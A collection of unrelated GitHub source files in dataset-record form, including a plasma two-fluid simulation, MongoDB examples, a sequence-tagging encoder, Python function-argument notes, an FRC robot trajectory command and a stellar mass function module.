var_z_bc[:,-2] = var_z_bc[:,-3]\n\n # Computing differences and slopes\n z_diff = np.diff(var_z_bc, axis=1)\n z_forw = z_diff[:,1:]\n z_back = z_diff[:,:-1]\n\n U_zf = 2*z_forw \n U_zb = 2*z_back\n U_zc = 1/2*(z_forw+z_back) \n signUz = vsign(U_zf) \n z_slope = fmax(0,fmin(vabs(U_zf), fmin(U_zb*signUz, U_zc*signUz) ) )\n\n zm = var_z_bc[:,1:-2] + 1/2*z_slope[:,:-1]\n zp = var_z_bc[:,2:-1] - 1/2*z_slope[:,1:]\n \n return rm, rp, zm, zp\n \n\n\ndef compute_next_step(var, r_flux, z_flux, sources):\n \n next_var = var - dt * ( ((Rgrid+1/2*dr)*r_flux[1:,:] - (Rgrid-1/2*dr)*r_flux[:-1,:])/(Rgrid*dr) +\n (z_flux[:,1:] - z_flux[:,:-1])/dz + sources)\n\n return next_var\n\ndef flux_function(flux_m, flux_p, var_m, var_p, axis):\n\n if axis == 'r':\n flux = empty((rpoints+1, zpoints))\n flux[0,:] = 0\n flux[1:,:] = 1/2*(flux_p - flux_m - dr/dt*(var_p - var_m))\n if axis == 'z':\n flux = 1/2*(flux_p - flux_m - dz/dt*(var_p - var_m))\n return flux\n\n\n############################\n# Main Program Starts Here #\n############################\n\n# System Initial Conditions\n\nR, dr, Z, dz, Rgrid, Zgrid = create_grids(rdomain, rpoints, zdomain, zpoints)\ncurvature_mod, backward, centered, forward = radial_corrections(R)\n\nN_e = max_den_0*vexp(-(Rgrid/radius_den_0)**2)\nNVr_e = zeros_like(Rgrid)\nNVt_e = zeros_like(Rgrid)\nNVz_e = zeros_like(Rgrid)\nEn_e = T_0*N_e/(gas_gamma-1)\n\nN_i = max_den_0*vexp(-(Rgrid/radius_den_0)**2)\nNVr_i = zeros_like(Rgrid)\nNVt_i = zeros_like(Rgrid)\nNVz_i = zeros_like(Rgrid)\nEn_i = T_0*N_i/(gas_gamma - 1)\n\n\n# Initial values for each time step\nN_e_0 = empty_like(Rgrid)\nNVr_e_0 = empty_like(Rgrid)\nNVt_e_0 = empty_like(Rgrid)\nNVz_e_0 = empty_like(Rgrid)\nEn_e_0 = empty_like(Rgrid)\n\nN_i_0 = empty_like(Rgrid)\nNVr_i_0 = empty_like(Rgrid)\nNVt_i_0 = empty_like(Rgrid)\nNVz_i_0 = empty_like(Rgrid)\nEn_i_0 = empty_like(Rgrid)\n\n#Saving Paramaters\nsave_dim = (number_saves, rpoints, zpoints)\nN_e_out = empty(save_dim)\nNVr_e_out = empty(save_dim)\nNVt_e_out = empty(save_dim)\nNVz_e_out = empty(save_dim)\nEn_e_out = empty(save_dim)\n\nN_i_out = empty(save_dim) \nNVr_i_out = empty(save_dim)\nNVt_i_out = empty(save_dim)\nNVz_i_out = empty(save_dim)\nEn_i_out = empty(save_dim)\n\nEr_out = empty(save_dim)\n\n\n#Time Loop\nfor t in range(nstep):\n time = t*dt\n \n ####################\n # Saving Variables #\n ####################\n if t%save_freq == 0:\n i = t//save_freq\n N_e_out[i] = N_e\n N_i_out[i] = N_i\n NVr_e_out[i] = NVr_e / N_e\n NVr_i_out[i] = NVr_i / N_i\n NVt_e_out[i] = NVt_e / N_e\n NVt_i_out[i] = NVt_i / N_i\n NVz_e_out[i] = NVz_e / N_e\n NVz_i_out[i] = NVz_i / N_i\n En_e_out[i] = En_e\n En_i_out[i] = En_i\n\n ###########################\n # Value at this time step #\n ###########################\n N_e_0[:,:] = N_e\n NVr_e_0[:,:] = NVr_e\n NVt_e_0[:,:] = NVt_e\n NVz_e_0[:,:] = NVz_e\n En_e_0[:,:] = En_e\n\n N_i_0[:,:] = N_i\n NVr_i_0[:,:] = NVr_i\n NVt_i_0[:,:] = NVt_i\n NVz_i_0[:,:] = NVz_i\n En_i_0[:,:] = En_i\n\n # Reconstruct conserved variables at the minus and plus side of interfaces with proper boudary conditions\n\n N_rm, N_rp, N_zm, N_zp = PM_states(N_e_0)#, z_bci = 'ref', z_bcf='ref')\n NVr_rm, NVr_rp, NVr_zm, NVr_zp = PM_states(NVr_e_0)#, z_bci = 'ref', z_bcf='ref')\n NVt_rm, NVt_rp, NVt_zm, NVt_zp = PM_states(NVt_e_0)#, z_bci = 'ref', z_bcf='ref')\n NVz_rm, NVz_rp, NVz_zm, NVz_zp = PM_states(NVz_e_0)#, z_bci = 'inv', z_bcf='inv')\n En_rm, En_rp, En_zm, En_zp = PM_states(En_e_0)#, z_bci = 'ref', z_bcf='ref')\n\n\n # Reconstruct velocities and pressures at interfaces\n Vr_rm = NVr_rm / N_rm\n Vt_rm = NVt_rm / N_rm\n Vz_rm = NVz_rm / N_rm\n\n Vr_rp = NVr_rp / N_rp\n Vt_rp = NVt_rp / N_rp\n Vz_rp = NVz_rp / N_rp\n \n Vr_zm = NVr_zm / N_zm\n Vt_zm = NVt_zm / N_zm\n Vz_zm = NVz_zm / N_zm\n\n Vr_zp = NVr_zp / N_zp\n Vt_zp = NVt_zp / N_zp\n Vz_zp = NVz_zp / N_zp\n\n P_rm = (En_rm - 1/2*N_rm*(Vr_rm**2 + Vt_rm**2 + Vz_rm**2))*(gas_gamma-1)\n P_rp = (En_rp - 1/2*N_rp*(Vr_rp**2 + Vt_rp**2 + Vz_rp**2))*(gas_gamma-1)\n\n P_zm = (En_zm - 1/2*N_zm*(Vr_zm**2 + Vt_zm**2 + Vz_zm**2))*(gas_gamma-1)\n P_zp = (En_zp - 1/2*N_zp*(Vr_zp**2 + Vt_zp**2 + Vz_zp**2))*(gas_gamma-1)\n\n # Source terms:\n # This has to be added eventually, for now none.\n N_source = 0\n NVr_source = 0\n NVt_source = 0\n NVz_source = 0\n En_source = 0\n\n # Compute fluxes at each side of the interface.\n N_rm_flux = NVr_rm\n N_rp_flux = NVr_rp\n N_zm_flux = NVz_zm\n N_zp_flux = NVz_zp\n\n NVr_rm_flux = NVr_rm*Vr_rm + P_rm\n NVr_rp_flux = NVr_rp*Vr_rp + P_rp\n NVr_zm_flux = NVr_zm*Vz_zm \n NVr_zp_flux = NVr_zp*Vz_zp\n\n NVt_rm_flux = NVt_rm*Vr_rm\n NVt_rp_flux = NVt_rp*Vr_rp \n NVt_zm_flux = NVt_zm*Vz_zm \n NVt_zp_flux = NVt_zp*Vz_zp\n\n NVz_rm_flux = NVz_rm*Vr_rm\n NVz_rp_flux = NVz_rp*Vr_rp \n NVz_zm_flux = NVz_zm*Vz_zm + P_zm\n NVz_zp_flux = NVz_zp*Vz_zp + P_zp\n\n En_rm_flux = (En_rm + P_rm)*Vr_rm\n En_rp_flux = (En_rp + P_rp)*Vr_rp\n En_zm_flux = (En_zm + P_zm)*Vz_zm\n En_zp_flux = (En_zp + P_zp)*Vz_zp\n\n\n N_r_flux = flux_function(N_rm_flux, N_rp_flux, N_rm, N_rp, 'r')\n N_z_flux = flux_function(N_zm_flux, N_zp_flux, N_zm, N_zp, 'z')\n NVr_r_flux = flux_function(NVr_rm_flux, NVr_rp_flux, NVr_rm, NVr_rp, 'r')\n NVr_z_flux = flux_function(NVr_zm_flux, NVr_zp_flux, NVr_zm, NVr_zp, 'z')\n NVt_r_flux = flux_function(NVt_rm_flux, NVt_rp_flux, NVt_rm, NVt_rp, 'r')\n NVt_z_flux = flux_function(NVt_zm_flux, NVt_zp_flux, NVt_zm, NVt_zp, 'z')\n NVz_r_flux = flux_function(NVz_rm_flux, NVz_rp_flux, NVz_rm, NVz_rp, 'r')\n NVz_z_flux = flux_function(NVz_zm_flux, NVz_zp_flux, NVz_zm, NVz_zp, 'z')\n En_r_flux = flux_function(En_rm_flux, En_rp_flux, En_rm, En_rp, 'r')\n En_z_flux = flux_function(En_zm_flux, En_zp_flux, En_zm, En_zp, 'z')\n \n\n # Evolution:\n N_e = compute_next_step(N_e_0, N_r_flux, N_z_flux, N_source)\n NVr_e = compute_next_step(NVr_e_0, NVr_r_flux, NVr_z_flux, NVr_source)\n NVt_e = compute_next_step(NVt_e_0, NVt_r_flux, NVt_z_flux, NVt_source)\n NVz_e = compute_next_step(NVz_e_0, NVz_r_flux, NVz_z_flux, NVz_source)\n En_e = compute_next_step(En_e_0, En_r_flux, En_z_flux, En_source)\n\n\n\n\n###################\n# Post-processing #\n###################\n\ndef quick_plot(i, electrons = 1, ions=0, fields=0):\n import matplotlib.pyplot as plt\n if electrons:\n plt.figure(1)\n plt.subplot(221)\n plt.plot(den_e_out[i] * 10**19)\n \n plt.subplot(222)\n plt.plot(T_e_out[i])\n \n plt.subplot(223)\n plt.plot(vr_e_out[i]/c)\n\n plt.subplot(224)\n plt.plot(vth_e_out[i]/c)\n \n plt.show()\n \n\n if ions:\n plt.figure(2)\n plt.subplot(221)\n plt.plot(den_i_out[i] * 10**19)\n \n plt.subplot(222)\n plt.plot(T_i_out[i])\n \n plt.subplot(223)\n plt.plot(vr_i_out[i]/c)\n\n plt.subplot(224)\n plt.plot(vth_i_out[i]/c)\n \n plt.show()\n\n if fields:\n plt.figure(3)\n plt.subplot(221)\n plt.plot(Er_out[i])\n \n plt.subplot(222)\n plt.plot(Bz_int_out[i])\n \n plt.subplot(223)\n plt.plot(gradvr_e_out[i])\n\n plt.subplot(224)\n plt.plot(gradvth_e_out[i])\n \n plt.show()\n print('t= ' + str(dt*i*save_freq))\n\n\n#Extra Stuff for now\n#####################\n# Fields and Energy #\n#####################\n\n\ndef compute_electric_field(charge_sep, debye):\n dummy = charge_sep * debye * 6e10\n numerator = np.arange(1,rpoints+1)\n dummy *= numerator\n dummy2 = np.cumsum(dummy)\n denominator = 1/numerator\n dummy2 *= denominator\n return dummy2\n\ndef compute_magnetic_field(den_e, den_i, vth_e, vth_i, dr):\n dummy = 2*dr*(den_i*vth_i - den_e*vth_e) # Question: Factor of 2?\n dummy2 = np.flipud(dummy)\n dummy2[0] = 0\n dummy = np.cumsum(dummy2)\n dummy2 = np.flipud(dummy)\n\n return dummy2\n\ndef compute_thermalizations(R, time, radius_den_0, time_discharge, vol_discharge,\n net_energy_in, discharge_on, den_e, den_i, T_e, T_i):\n\n if discharge_on:\n energy_point = net_energy_in*(1-np.exp(-time/time_discharge))*np.exp(-(R/radius_den_0)**2)\n discharge_factor = time_discharge * max_den_0 * vol_discharge\n energy_factor = energy_point / (2.4*discharge_factor) * np.exp(-time/time_discharge)\n else:\n energy_factor = 0\n\n condition_e = (den_e > 1e-20) * (T_e > 1)\n condition_i = (den_i > 1e-20) * (T_i > 1)\n \n # Change \n coul_e = where(condition_e,\n 26-.5*np.log(den_e/T_e),\n zero_vector)\n\n coul_i = where(condition_i,\n 26-.5*np.log(den_i/T_i),\n zero_vector)\n\n collision_vel = where(condition_e,\n 3e13*coul_e*den_e/(T_e**1.5),\n zero_vector)\n\n collision_ii = where(condition_i,\n 1.8e12*coul_i*den_i/(T_i**1.5),\n zero_vector)\n\n collision_ei = where(condition_e,\n 3.2e10*coul_e*den_e/(T_e**1.5),\n zero_vector)\n\n return energy_factor, collision_vel, collision_ii, collision_ei\n\n\ndef compute_debye(T_e, T_i, den_e, den_i):\n output = 2.5e-7*np.sqrt(1/(den_e/T_e+den_i/T_i))\n return output\n\ndef integration_scheme(scheme):\n if scheme == 'euler':\n time_vector = np.array([0])\n weight_vector = np.array([[1]])\n elif scheme == 'rk4':\n time_vector = np.array([0,0.5,0.5,1])\n weight_vector = np.array([[1/6,1/3,1/3,1/6]]) #note the shape of (1,4), it allows dot()\n elif scheme == 'heun':\n time_vector = np.array([0,1])\n weight_vector = np.array([[1/2, 1/2]])\n else:\n print(\"Sorry, we don't have that integration scheme\")\n\n return time_vector, weight_vector\n","repo_name":"mgoycoolea/twofluid","sub_path":"twofluid.py","file_name":"twofluid.py","file_ext":"py","file_size_in_byte":14813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"44177639303","text":"import os\nfrom dotenv import load_dotenv\nfrom pymongo import MongoClient\n\n# .env 파일을 로드합니다.\nload_dotenv()\n\n# MongoDB 연결 정보를 .env 파일에서 가져옵니다.\nmongo_uri = os.getenv(\"MONGO_URI\")\nmongo_db = os.getenv(\"MONGO_DB\")\nmongo_col = os.getenv(\"MONGO_COL\")\n\n# MongoDB에 연결합니다.\nconn = MongoClient(mongo_uri)\ndb = conn[mongo_db]\ncol = conn[mongo_col]\nprint(conn)\n\n# # 연결된 MongoDB 데이터베이스를 선택합니다.\n# db = conn.get_database(db)\n\n\n\n# 여기에서 MongoDB를 사용하여 작업을 수행할 수 있습니다.\n","repo_name":"Lil-Young/Mongodb_Study","sub_path":"get_mongo.py","file_name":"get_mongo.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6252450963","text":"\"\"\"\nClasses for sequence tagging/labeling problem.\n\"\"\"\nimport pydecode\nimport itertools\nimport numpy as np\nfrom pydecode.encoder import StructuredEncoder\n\n\ndef tagger_first_order(sentence_length, tag_sizes):\n n = sentence_length\n K = tag_sizes\n t = np.max(tag_sizes)\n\n coder = np.arange(n * t, dtype=np.int64)\\\n .reshape([n, t])\n part_encoder = TaggingEncoder(tag_sizes, 1)\n out = part_encoder.encoder\n\n c = pydecode.ChartBuilder(coder, out,\n unstrict=True,\n lattice=True)\n\n c.init(coder[0, :K[0]])\n for i in range(1, sentence_length):\n for t in range(K[i]):\n c.set_t(coder[i, t],\n coder[i-1, :K[i-1]],\n labels=out[i, :K[i-1], t])\n\n return c.finish(False), part_encoder\n\nclass TaggingEncoder(StructuredEncoder):\n def __init__(self, tag_sizes, order=1):\n self.tag_sizes = tag_sizes\n self.size = len(self.tag_sizes)\n self.order = order\n n = len(tag_sizes)\n t = np.max(tag_sizes)\n shape = (n, t, t)\n super(TaggingEncoder, self).__init__(shape)\n\n def transform_structure(self, tagging):\n if self.order == 1:\n return np.array([np.append([i], tagging[i-self.order:i+1])\n for i in range(self.order, len(tagging))])\n\n def from_parts(self, parts):\n sequence = np.zeros(self.size, dtype=np.int32)\n for (i, pt, t) in parts:\n sequence[i] = t\n sequence[i-1] = pt\n return sequence\n\n def all_structures(self):\n \"\"\"\n Generate all valid tag sequences for a tagging problem.\n \"\"\"\n for seq in itertools.product(*map(range, self.tag_sizes)):\n yield np.array(seq)\n\n def random_structure(self):\n sequence = np.zeros(len(self.tag_sizes))\n for i, size in enumerate(self.tag_sizes):\n sequence[i] = np.random.randint(size)\n return sequence\n","repo_name":"srush/PyDecode","sub_path":"python/pydecode/nlp/tagging.py","file_name":"tagging.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"3"} +{"seq_id":"19293568435","text":"# combine 2 PCM files to 1 output.cpm\n\nimport array\n\ndef pcm_joint(file1, file2, file3, channel=1, bits=16):\n f = open(file1, 'rb')\n data = f.read()\n print(type(data))\n f.close()\n f = open(file2, 'rb')\n data2 = f.read()\n f.close()","repo_name":"Rongxin-Wan/Orka_code","sub_path":"pcm_joint.py","file_name":"pcm_joint.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21526464719","text":"import requests\n\n\ndef main():\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iOS 11.4 like Mac OS X)\",\n \"Cookie\": \"foo=bar; baz=qux;\"\n }\n r = requests.get('https://httpbin.org/headers', headers=headers)\n print(r.json())\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"binderclip/code-snippets-python","sub_path":"packages/requests_sp/request_header.py","file_name":"request_header.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"3"} +{"seq_id":"13766640637","text":"from pymongo import MongoClient\nclient = MongoClient()\ndatabase = client['Chapter6']\ncollection = database['spider']\n\n# 写入数据\ndata = {'id': 123, 'name': 'kingname', 'age': 20, 'salary': 999999}\ncollection.insert(data)\n\nmore_data = [\n {'id': 2, 'name': '张三', 'age': 10, 'salary': 0},\n {'id': 3, 'name': '李四', 'age': 30, 'salary': -100},\n {'id': 4, 'name': '王五', 'age': 40, 'salary': 1000},\n {'id': 5, 'name': '外国人', 'age': 50, 'salary': '未知'},\n]\n\ncollection.insert(more_data)\n\n# 查询数据\n# content = [x for x in collection.find({'age': 29}, {'_id': 0, 'name': 1, 'salary': 1})]\n# content_obj = collection.find({'age': 29}, {'_id': 0, 'name': 1, 'salary': 1})\n# content = []\n# for each in content_obj:\n# content.append(each)\n\n\n# 逻辑查询\n# content = [x for x in collection.find({'age': {'$gte': 29, '$lte': 40}})]\n\n#排序\n# content = [x for x in collection.find({'age': {'$gte': 29, '$lte': 40}}).sort('age', -1)]\n# content = [x for x in collection.find({'age': {'$gte': 29, '$lte': 40}}).sort('age', 1)]\n\n# 去重\n# content = collection.distinct('age')\n# print('finished')","repo_name":"kingname/SourceCodeOfBook","sub_path":"第6章/program/chapter_example_cqud.py","file_name":"chapter_example_cqud.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":315,"dataset":"github-code","pt":"3"} +{"seq_id":"7242018571","text":"# ✅ Parameters and Arguments\n# ◽ A parameter is a variable in the definition of a function.\n# ◽ An argument is the value being passed into a function call.\n# ◽ A function definition begins with def and contains the entire following indented block.\n# ◽ And function calls are the places a function is invoked, with parentheses, after its definition\n\n\n# ✅ None: it's nothing!\n# => None is a special value in Python. It is unique (there can’t be two different Nones) and immutable (you can’t update None or assign new attributes to it).\nnone_var = None\nif none_var:\n print(\"Hello!\")\nelse:\n print(\"Goodbye\")\n\n# Prints \"Goodbye\"\n# => None is falsy, meaning that it evaluates to False in an if statement, which is why the above code prints “Goodbye”. \n# => None is also unique, which means that you can test if something is None using the is keyword.\n\n\n# ✅ Default Return\n# : A Python function that does not have any explicit return statement will return None after completing. \n# => This means that all functions in Python return something, whether it’s explicit or not.\n# => We can simply write 'return' instead of 'return None'\nsort_this_list = [14, 631, 4, 51358, 50000000]\n\nlist_sort_return = sort_this_list.sort()\n\n\n# print out the value of list_sort_return\nprint(list_sort_return)\n# None\n# => It might be surprising, but .sort() sorts a list in place. Python has a different function, sorted() that takes a list as an argument and returns the sorted list.\n\n\n# ✅ Default Values\n'''\n# Function defined with one required and one optional parameter\ndef create_user(username, is_admin=False):\n create_email(username)\n set_permissions(is_admin)\n\n# Calling with two arguments uses the default value for is_admin\nuser2 = create_user('djohansen')\n'''\n'''\n# We can make all three parameters optional\ndef create_user(username=None, is_admin=False):\n if username is None:\n username = \"Guest\"\n else:\n create_email(username)\n set_permissions(is_admin)\n\n# So we can call with just one value\nuser3 = create_user('ssylvain')\n# Or no value at all, which would create a Guest user\nuser4 = create_user()\n'''\n\n# ❗ The required parameters need to occur before any parameters with a default argument.\n\n\n# ✅ Keyword Arguments\n# : We use keyword arguments by passing arguments to a function with a special syntax that uses the names of the parameters.\n# => This is useful if the function has many optional default arguments or if the order of a function’s parameters is hard to tell.\n# => cf. Changing the arguments to be keyword parameters means taking away the curly braces, passing the keys without quotes, and using = instead of :\n\n\n# ✅ Don't use mutable default arguments\ndef populate_list(list_to_populate=[], length=1):\n for num in range(length):\n list_to_populate.append(num)\n return list_to_populate\n# => It’s reasonable to believe that list_to_populate will be given an empty list every time it’s called.\n# => However, it's not the case.\n# => list_to_populate will be given a new list once, in its definition, and all subsequent function calls will modify the same list. \nreturned_list = populate_list(length=4)\nprint(returned_list)\n# Prints [0, 1, 2, 3] -- this is expected\n\nreturned_list = populate_list(length=6)\nprint(returned_list)\n# Prints [0, 1, 2, 3, 0, 1, 2, 3, 4, 5] -- this is a surprise!\n# => This result is caused by the fact that 'list' is mutable object.\n# => A list has append and remove operations that change the nature of a list. Sets and dictionaries are two other mutable objects in Python.\n\n# cf. It might be helpful to note some of the objects in Python that are not mutable (and therefore OK to use as default arguments). \n# ◽ int, float, and other numbers can’t be mutated (arithmetic operations will return a new number).\n# ◽ tuples are a kind of immutable list.\n# ◽ Strings are also immutable.\n\n\n# ✅ Using None as a sentinel\n# ❓ So if we can’t use a list as a default argument for a function, what can we use? \n# => if we want an empty list, we can use None as a special value to indicate we did not receive anything. \n# => After we check whether an argument was provided we can instantiate a new list if it wasn’t.\n# =>✨ This way multiple calls to add_author won’t include data from previous calls to add_author. \ndef add_author(authors_books, current_books=None):\n if current_books is None:\n current_books = []\n\n current_books.extend(authors_books)\n return current_books\n\n\n# ✅ Unpacking Multiple Returns\ndef multiple_returns(cool_num1, cool_num2):\n sum_nums = cool_num1 + cool_num2\n div_nums = cool_num1 / cool_num2\n return sum_nums, div_nums\n\nsum_and_div = multiple_returns(20, 10)\n\nprint(sum_and_div)\n# Prints \"(30, 2)\"\n\nprint(sum_and_div[0])\n# Prints \"30\"\n# => So we get those two values back in what’s called a tuple, an immutable list-like object indicated by parentheses. \n# => We can save these two results in seperate variables by unpacking the function return. \n'''\nsum, div = sum_and_div(18, 9)\n\nprint(sum)\n# Prints \"27\"\n\nprint(div)\n# Prints \"2\"\n'''\n\n\n# ✅ Positional Argument Unpacking\n# ❓ We don’t always know how many arguments a function is going to receive, and sometimes we want to handle any possibility that comes at us. \n# => The first method is called positional argument unpacking, because it unpacks arguments given by position. Here’s what that looks like:\ndef shout_strings(*args):\n for argument in args:\n print(argument.upper())\n\nshout_strings(\"hi\", \"what do we have here\", \"cool, thanks!\")\n# Prints out:\n# \"HI\"\n# \"WHAT DO WE HAVE HERE\"\n# \"COOL, THANKS!\"\n# => In shout_strings() we use a single asterisk (*) to indicate we’ll accept any number of positional arguments passed to the function.\n# => Our parameter args is a tuple of all of the arguments passed.\n# => Note that args is just a parameter name, and we aren’t limited to that name (although it is rather standard practice). \n\n\n# ✅ Keyword Argument Unpacking \n# : The syntax is very similar, but uses two asterisks (**) instead of one. \n# + Instead of args, we call this kwargs — as a shorthand for keyword arguments.\n# \n'''\nfrom products import create_product\n\n# Update create_products() to take arbitrary keyword arguments\ndef create_products(**products_dict):\n for name, price in products_dict.items():\n create_product(name, price)\n\n# Checkpoint 3\n# Update the call to `create_products()` to pass in this dictionary as a series of keyword\ncreate_products(\n Baseball='3',\n Shirt='14',\n Guitar='70')\n'''\n\n# ✅ Using Both Keyword and Positional Unpacking\n# : You should conform to this rule.\n# => the parameters must be listed in this order:\n# ◽ All named positional parameters\n# ◽ An unpacked positional parameter (*args)\n# ◽ All named keyword parameters\n# ◽ An unpacked keyword parameter (**kwargs)\n\n\n# ✅ Passing Containers as Arguments: deconstructuring ✨\n# : Not only can we accept arbitrarily many parameters to a function in our definition, but Python also supports a syntax that makes deconstructing any data that you have on hand to feed into a function that accepts these kinds of unpacked arguments.\ndef takes_many_args(*args):\n print(','.join(args))\n\nlong_list_of_args = [145, \"Mexico City\", 10.9, \"85C\"]\n\n# We can use the asterisk \"*\" to deconstruct the container.\n# This makes it so that instead of a list, a series of four different\n# positional arguments are passed to the function\ntakes_many_args(*long_list_of_args)\n# Prints \"145,Mexico City,10.9,85C\"\n\n# - Similarly we can use ** to destructure a dictionary.\n# def pour_from_sink(temperature=\"Warm\", flow=\"Medium\"):\n# set_temperature(temperature)\n# set_flow(flow)\n# open_sink()\n\n# Our function takes two keyword arguments\n# If we make a dictionary with their parameter names...\nsink_open_kwargs = {\n 'temperature': 'Hot',\n 'flow': \"Slight\",\n}\n\n# We can destructure them an pass to the function\n# pour_from_sink(**sink_open_kwargs)\n# Equivalent to the following:\n# pour_from_sink(temperature=\"Hot\", flow=\"Slight\")\n\n# => We can use this destructuring syntax even when the function has a specific number of keyword or positional arguments it accepts.\n# => We just need to be careful that the object we’re destructuring matches the length (and names, if a dictionary) of the signature of the function we’re passing it into.\n","repo_name":"sorikiki/coding-study","sub_path":"Learn Python/11. Function Arguments.py","file_name":"11. Function Arguments.py","file_ext":"py","file_size_in_byte":8328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38449085333","text":"from commands2 import CommandBase\n\nimport robot\n\nfrom wpimath.geometry import Translation2d, Rotation2d, Pose2d\n\nimport constants\n\nfrom wpilib import Timer\n\n\nclass TrajectoryFollowerCommand(CommandBase):\n \"\"\"\n Follows a wpilib trajectory. Meant to be a replacement for the SwerveControllerCommand.\n \"\"\"\n\n def __init__(self, trajectory):\n super().__init__()\n\n self.addRequirements(robot.drivetrain)\n\n self.trajectory = trajectory\n\n # Store useful data about the trajectory\n self.trajectoryDuration = self.trajectory.totalTime()\n self.trajectoryStates = trajectory.states()\n self.desiredHeading = self.trajectoryStates[\n len(self.trajectoryStates) - 1\n ].pose.rotation()\n\n self.driveController = robot.drivetrain.driveController\n\n self.timer = Timer()\n\n # Useful for position based validation (not currently implemented)\n self.tolerance = constants.drivetrain.autoTolerance\n\n def initialize(self):\n # Start a timer\n self.timer.reset()\n self.timer.start()\n\n def execute(self):\n # Get the current estimated robot pose\n currentPose = robot.drivetrain.getSwervePose()\n\n # Get the current desired state from the trajectory\n desiredState = self.trajectory.sample(self.timer.get())\n\n # Calculate the required chassis speeds for getting to the desired location\n chassisSpeeds = self.driveController.calculate(\n currentPose, desiredState, self.desiredHeading\n )\n\n # Have the swerve drivetrain follow the required speeds\n robot.drivetrain.setChassisSpeeds(chassisSpeeds)\n\n # robot.drivetrain.debugPrints()\n\n def isFinished(self):\n # End the command if the duration of the trajectory has elapsed\n return self.timer.hasElapsed(self.trajectoryDuration)\n\n def end(self, interrupted):\n # Stop the timer\n self.timer.stop()\n\n # Stop the robot\n robot.drivetrain.stop()\n","repo_name":"FRC2539/2022RapidReact","sub_path":"commands/drivetrain/trajectoryfollowercommand.py","file_name":"trajectoryfollowercommand.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"73169717521","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ncallable stellar mass functions from the literature\n\"\"\"\n\nfrom __future__ import (division, print_function, absolute_import, unicode_literals)\nimport numpy as np\n\nfrom astropy.table import Table\nfrom astropy.modeling.models import custom_model\n\n__all__ = ['Eckert_2016_phi']\n\n\nclass Eckert_2016_phi(object):\n \"\"\"\n stellar mass function from Eckert et al. 2016, arXiv:1604.03957\n \"\"\"\n\n def __init__(self, sample=None, **kwargs):\n \"\"\"\n Paramaters\n ==========\n sample : string\n string indicting which fit to use\n \"\"\"\n\n self.littleh = 0.7\n\n # parameters from table 3\n self.set_params(sample)\n\n # define components of double Schechter function\n s1 = Log_Schechter(phi0=self.phi1, x0=self.x1, alpha=self.alpha1)\n s2 = Log_Schechter(phi0=self.phi2, x0=self.x2, alpha=self.alpha2)\n\n # create piecewise model\n self.s = s1 + s2\n\n def set_params(self, sample=None):\n \"\"\"\n Set the parameters for model.\n The values are taken from table 3 in Eckert et al. 2016, arXiv:1604.03957\n \"\"\"\n\n if 'sample' is None:\n sample = 'RESOLVE-B SMF single'\n\n if sample == 'RESOLVE-B SMF single':\n self.params = {'M1': 11.25,\n 'phi1': 4.47,\n 'alpha1': -1.28,\n 'phi2': 0.0,\n 'alpha2': 0.0,\n }\n elif sample == 'RESOLVE-B SMF double':\n self.params = {'M1': 10.87,\n 'phi1': 9.00,\n 'alpha1': -0.52,\n 'phi2': 3.25,\n 'alpha2': -1.38,\n }\n elif sample == 'ECO SMF single':\n self.params = {'M1': 10.92,\n 'phi1': 5.95,\n 'alpha1': -1.19,\n 'phi2': 0.0,\n 'alpha2': 0.0,\n }\n elif sample == 'ECO SMF double':\n self.params = {'M1': 10.87,\n 'phi1': 3.44,\n 'alpha1': -0.91,\n 'phi2': 3.62,\n 'alpha2': -1.26,\n }\n elif sample == 'RESOLVE-B BMF single':\n self.params = {'M1': 10.11,\n 'phi1': 6.93,\n 'alpha1': -1.30,\n 'phi2': 0.0,\n 'alpha2': 0.0,\n }\n elif sample == 'RESOLVE-B BMF double':\n self.params = {'M1': 11.11,\n 'phi1': 6.93,\n 'alpha1': -1.30,\n 'phi2': 0.0,\n 'alpha2': 0.0,\n }\n elif sample == 'ECO BMF single':\n self.params = {'M1': 10.92,\n 'phi1': 7.48,\n 'alpha1': -1.28,\n 'phi2': 0.0,\n 'alpha2': 0.0,\n }\n elif sample == 'ECO BMF double':\n self.params = {'M1': 10.89,\n 'phi1': 1.55,\n 'alpha1': -1.02,\n 'phi2': 6.27,\n 'alpha2': -1.30,\n }\n else:\n msg = ('Unknown sample passed!')\n raise ValueError(msg)\n\n self.params['phi1'] = self.params['phi1']*10**-3/np.log(10.0)\n self.params['phi2'] = self.params['phi2']*10**-3/np.log(10.0)\n self.params['M2'] = self.params['M1']\n\n self.phi1 = self.params['phi1']\n self.x1 = self.params['M1']\n self.alpha1 = self.params['alpha1']\n self.phi2 = self.params['phi2']\n self.x2 = self.params['M2']\n self.alpha2 = self.params['alpha2']\n\n def __call__(self, mstar):\n \"\"\"\n stellar mass function\n\n Parameters\n ----------\n mstar : array_like\n stellar mass in units Msol/h^2\n\n Returns\n -------\n phi : nunpy.array\n number density in units h^3 Mpc^-3 dex^-1\n \"\"\"\n\n # convert from h=1 to h=0.7\n mstar = mstar / self.littleh**2\n\n # take log of stellar masses\n mstar = np.log10(mstar)\n\n # convert from h=0.7 to h=1.0\n return self.s(mstar) / self.littleh**3\n\n\n@custom_model\ndef Log_Schechter(x, phi0=0.001, x0=10.5, alpha=-1.0):\n \"\"\"\n log schecter x function\n \"\"\"\n x = np.asarray(x)\n x = x.astype(float)\n norm = np.log(10.0)*phi0\n val = norm*(10.0**((x-x0)*(1.0+alpha)))*np.exp(-10.0**(x-x0))\n return 